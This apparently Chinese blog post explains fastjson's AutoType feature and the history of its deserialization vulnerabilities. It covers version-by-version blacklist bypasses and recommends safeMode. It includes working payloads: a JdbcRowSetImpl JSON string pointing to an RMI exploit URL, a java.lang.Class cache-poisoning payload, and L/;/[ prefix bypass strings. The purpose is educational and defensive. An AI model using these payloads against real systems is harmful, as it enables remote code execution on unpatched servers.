fastjson到底做错了什么？为什么会被频繁爆出漏洞？
收录于话题
#fastjson 4 #阿里巴巴 893 #程序员 1975
△Hollis, 一个对Coding有着独特追求的人△
这是Hollis的第 290 篇原创分享
作者 l Hollis
来源 l Hollis（ID：hollischuang）
fastjson大家一定都不陌生，这是阿里巴巴的开源一个JSON解析库，通常被用于将Java Bean和JSON 字符串之间进行转换。
前段时间，fastjson被爆出过多次存在漏洞，很多文章报道了这件事儿，并且给出了升级建议。
但是作为一个开发者，我更关注的是他为什么会频繁被爆漏洞？于是我带着疑惑，去看了下fastjson的releaseNote以及部分源代码。
最终发现，这其实和fastjson中的一个AutoType特性有关。
从2019年7月份发布的v1.2.59一直到2020年6月份发布的 v1.2.71 ，每个版本的升级中都有关于AutoType的升级。
下面是fastjson的官方releaseNotes 中，几次关于AutoType的重要升级：
1.2.59发布，增强AutoType打开时的安全性 fastjson
1.2.60发布，增加了AutoType黑名单，修复拒绝服务安全问题 fastjson
1.2.61发布，增加AutoType安全黑名单 fastjson
1.2.62发布，增加AutoType黑名单、增强日期反序列化和JSONPath fastjson
1.2.66发布，Bug修复安全加固，并且做安全加固，补充了AutoType黑名单 fastjson
1.2.67发布，Bug修复安全加固，补充了AutoType黑名单 fastjson
1.2.68发布，支持GEOJSON，补充了AutoType黑名单。（引入一个safeMode的配置，配置safeMode后，无论白名单和黑名单，都不支持autoType。） fastjson
1.2.69发布，修复新发现高危AutoType开关绕过安全漏洞，补充了AutoType黑名单 fastjson
1.2.70发布，提升兼容性，补充了AutoType黑名单甚至在fastjson的开源库中，有一个Isuue是建议作者提供不带autoType的版本：
-w747
那么，什么是AutoType？为什么fastjson要引入AutoType？为什么AutoType会导致安全漏洞呢？本文就来深入分析一下。
AutoType 何方神圣？
fastjson的主要功能就是将Java Bean序列化成JSON字符串，这样得到字符串之后就可以通过数据库等方式进行持久化了。
但是，fastjson在序列化以及反序列化的过程中并没有使用Java自带的序列化机制，而是自定义了一套机制。
其实，对于JSON框架来说，想要把一个Java对象转换成字符串，可以有两种选择：
1、基于属性
2、基于setter/getter
而我们所常用的JSON序列化框架中，FastJson和jackson在把对象序列化成json字符串的时候，是通过遍历出该类中的所有getter方法进行的。Gson并不是这么做的，他是通过反射遍历该类中的所有属性，并把其值序列化成json。
假设我们有以下一个Java类：
class Store {
private String name;
private Fruit fruit;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public Fruit getFruit() {
return fruit;
}
public void setFruit(Fruit fruit) {
this.fruit = fruit;
}
}
interface Fruit {
}
class Apple implements Fruit {
private BigDecimal price;
//省略 setter/getter、toString等
}当我们要对他进行序列化的时候，fastjson会扫描其中的getter方法，即找到getName和getFruit，这时候就会将name和fruit两个字段的值序列化到JSON字符串中。
那么问题来了，我们上面的定义的Fruit只是一个接口，序列化的时候fastjson能够把属性值正确序列化出来吗？如果可以的话，那么反序列化的时候，fastjson会把这个fruit反序列化成什么类型呢？
我们尝试着验证一下，基于(fastjson v 1.2.68)：
Store store = new Store();
store.setName("Hollis");
Apple apple = new Apple();
apple.setPrice(new BigDecimal(0.5));
store.setFruit(apple);
String jsonString = JSON.toJSONString(store);
System.out.println("toJSONString : " + jsonString);以上代码比较简单，我们创建了一个store，为他指定了名称，并且创建了一个Fruit的子类型Apple，然后将这个store使用JSON.toJSONString进行序列化，可以得到以下JSON内容：
toJSONString : {"fruit":{"price":0.5},"name":"Hollis"}那么，这个fruit的类型到底是什么呢，能否反序列化成Apple呢？我们再来执行以下代码：
Store newStore = JSON.parseObject(jsonString, Store.class);
System.out.println("parseObject : " + newStore);
Apple newApple = (Apple)newStore.getFruit();
System.out.println("getFruit : " + newApple);执行结果如下：
toJSONString : {"fruit":{"price":0.5},"name":"Hollis"}
parseObject : Store{name='Hollis', fruit={}}
Exception in thread "main" java.lang.ClassCastException: com.hollis.lab.fastjson.test.$Proxy0 cannot be cast to com.hollis.lab.fastjson.test.Apple
at com.hollis.lab.fastjson.test.FastJsonTest.main(FastJsonTest.java:26)可以看到，在将store反序列化之后，我们尝试将Fruit转换成Apple，但是抛出了异常，尝试直接转换成Fruit则不会报错，如：
Fruit newFruit = newStore.getFruit();
System.out.println("getFruit : " + newFruit);以上现象，我们知道，当一个类中包含了一个接口（或抽象类）的时候，在使用fastjson进行序列化的时候，会将子类型抹去，只保留接口（抽象类）的类型，使得反序列化时无法拿到原始类型。
那么有什么办法解决这个问题呢，fastjson引入了AutoType，即在序列化的时候，把原始类型记录下来。
使用方法是通过SerializerFeature.WriteClassName进行标记，即将上述代码中的
String jsonString = JSON.toJSONString(store);修改成：
String jsonString = JSON.toJSONString(store,SerializerFeature.WriteClassName);即可，以上代码，输出结果如下：
System.out.println("toJSONString : " + jsonString);
{
"@type":"com.hollis.lab.fastjson.test.Store",
"fruit":{
"@type":"com.hollis.lab.fastjson.test.Apple",
"price":0.5
},
"name":"Hollis"
}可以看到，使用SerializerFeature.WriteClassName进行标记后，JSON字符串中多出了一个@type字段，标注了类对应的原始类型，方便在反序列化的时候定位到具体类型
如上，将序列化后的字符串在反序列化，既可以顺利的拿到一个Apple类型，整体输出内容：
toJSONString : {"@type":"com.hollis.lab.fastjson.test.Store","fruit":{"@type":"com.hollis.lab.fastjson.test.Apple","price":0.5},"name":"Hollis"}
parseObject : Store{name='Hollis', fruit=Apple{price=0.5}}
getFruit : Apple{price=0.5}这就是AutoType，以及fastjson中引入AutoType的原因。
但是，也正是这个特性，因为在功能设计之初在安全方面考虑的不够周全，也给后续fastjson使用者带来了无尽的痛苦
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}这就是所谓的远程命令执行漏洞，即利用漏洞***到目标服务器，通过服务器执行命令。
在早期的fastjson版本中（v1.2.25 之前），因为AutoType是默认开启的，并且也没有什么限制，可以说是裸着的。
从v1.2.25开始，fastjson默认关闭了autotype支持，并且加入了checkAutotype，加入了黑名单+白名单来防御autotype开启的情况。
但是，也是从这个时候开始，***和fastjson作者之间的博弈就开始了。
因为fastjson默认关闭了autotype支持，并且做了黑白名单的校验，所以***方向就转变成了"如何绕过checkAutotype"。
下面就来细数一下各个版本的fastjson中存在的漏洞以及***原理，由于篇幅限制，这里并不会讲解的特别细节，如果大家感兴趣我后面可以单独写一篇文章讲讲细节。下面的内容主要是提供一些思路，目的是说明写代码的时候注意安全性的重要性。
绕过checkAutotype，***与fastjson的博弈
在fastjson v1.2.41 之前，在checkAutotype的代码中，会先进行黑白名单的过滤，如果要反序列化的类不在黑白名单中，那么才会对目标类进行反序列化。
但是在加载的过程中，fastjson有一段特殊的处理，那就是在具体加载类的时候会去掉className前后的L和;，形如Lcom.lang.Thread;。
-w853
而黑白名单又是通过startWith检测的，那么***只要在自己想要使用的***类库前后加上L和;就可以绕过黑白名单的检查了，也不耽误被fastjson正常加载。
如Lcom.sun.rowset.JdbcRowSetImpl;，会先通过白名单校验，然后fastjson在加载类的时候会去掉前后的L和，变成了com.sun.rowset.JdbcRowSetImpl。
为了避免被***，在之后的 v1.2.42版本中，在进行黑白名单检测的时候，fastjson先判断目标类的类名的前后是不是L和;，如果是的话，就截取掉前后的L和;再进行黑白名单的校验。
看似解决了问题，但是***发现了这个规则之后，就在***时在目标类前后双写LL和;;，这样再被截取之后还是可以绕过检测。如LLcom.sun.rowset.JdbcRowSetImpl;;
魔高一尺，道高一丈。在 v1.2.43中，fastjson这次在黑白名单判断之前，增加了一个是否以LL未开头的判断，如果目标类以LL开头，那么就直接抛异常，于是就又短暂的修复了这个漏洞。
***在L和;这里走不通了，于是想办法从其他地方下手，因为fastjson在加载类的时候，不只对L和;这样的类进行特殊处理，还对[也被特殊处理了。
同样的***手段，在目标类前面添加[，v1.2.43以前的所有版本又沦陷了。
于是，在 v1.2.44版本中，fastjson的作者做了更加严格的要求，只要目标类以[开头或者以;结尾，都直接抛异常。也就解决了 v1.2.43及历史版本中发现的bug。
在之后的几个版本中，***的主要的***方式就是绕过黑名单了，而fastjson也在不断的完善自己的黑名单。
autoType不开启也能被***？
但是好景不长，在升级到 v1.2.47 版本时，***再次找到了办法来***。而且这个***只有在autoType关闭的时候才生效。
是不是很奇怪，autoType不开启反而会被***。
因为在fastjson中有一个全局缓存，在类加载的时候，如果autotype没开启，会先尝试从缓存中获取类，如果缓存中有，则直接返回。***正是利用这里机制进行了***。
***先想办法把一个类加到缓存中，然后再次执行的时候就可以绕过黑白名单检测了，多么聪明的手段。
首先想要把一个黑名单中的类加到缓存中，需要使用一个不在黑名单中的类，这个类就是java.lang.Class
java.lang.Class类对应的deserializer为MiscCodec，反序列化时会取json串中的val值并加载这个val对应的类。
如果fastjson cache为true，就会缓存这个val对应的class到全局缓存中
如果再次加载val名称的类，并且autotype没开启，下一步就是会尝试从全局缓存中获取这个class，进而进行***。
所以，***只需要把***类伪装一下就行了，如下格式：
{"@type": "java.lang.Class","val": "com.sun.rowset.JdbcRowSetImpl"}于是在 v1.2.48中，fastjson修复了这个bug，在MiscCodec中，处理Class类的地方，设置了fastjson cache为false，这样***类就不会被缓存了，也就不会被获取到了。
在之后的多个版本中，***与fastjson又继续一直都在绕过黑名单、添加黑名单中进行周旋。
直到后来，***在 v1.2.68之前的版本中又发现了一个新的漏洞利用方式。
利用异常进行***
在fastjson中， 如果，@type 指定的类为 Throwable 的子类，那对应的反序列化处理类就会使用到 ThrowableDeserializer
而在ThrowableDeserializer#deserialze的方法中，当有一个字段的key也是 @type时，就会把这个 value 当做类名，然后进行一次 checkAutoType 检测。
并且指定了expectClass为Throwable.class，但是在checkAutoType中，有这样一约定，那就是如果指定了expectClass ，那么也会通过校验。
-w869
因为fastjson在反序列化的时候会尝试执行里面的getter方法，而Exception类中都有一个getMessage方法。
***只需要自定义一个异常，并且重写其getMessage就达到了***的目的。
这个漏洞就是6月份全网疯传的那个"严重漏洞"，使得很多开发者不得不升级到新版本。
这个漏洞在 v1.2.69中被修复，主要修复方式是对于需要过滤掉的expectClass进行了修改，新增了4个新的类，并且将原来的Class类型的判断修改为hash的判断。
其实，根据fastjson的官方文档介绍，即使不升级到新版，在v1.2.68中也可以规避掉这个问题，那就是使用safeMode
AutoType 安全模式？
可以看到，这些漏洞的利用几乎都是围绕AutoType来的，于是，在 v1.2.68版本中，引入了safeMode，配置safeMode后，无论白名单和黑名单，都不支持autoType，可一定程度上缓解反序列化Gadgets类变种***。
设置了safeMode后，@type 字段不再生效，即当解析形如{"@type": "com.java.class"}的JSON串时，将不再反序列化出对应的类。
开启safeMode方式如下：
ParserConfig.getGlobalInstance().setSafeMode(true);如在本文的最开始的代码示例中，使用以上代码开启safeMode模式，执行代码，会得到以下异常：
Exception in thread "main" com.alibaba.fastjson.JSONException: safeMode not support autoType : com.hollis.lab.fastjson.test.Apple
at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:1244)但是值得注意的是，使用这个功能，fastjson会直接禁用autoType功能，即在checkAutoType方法中，直接抛出一个异常。
-w821
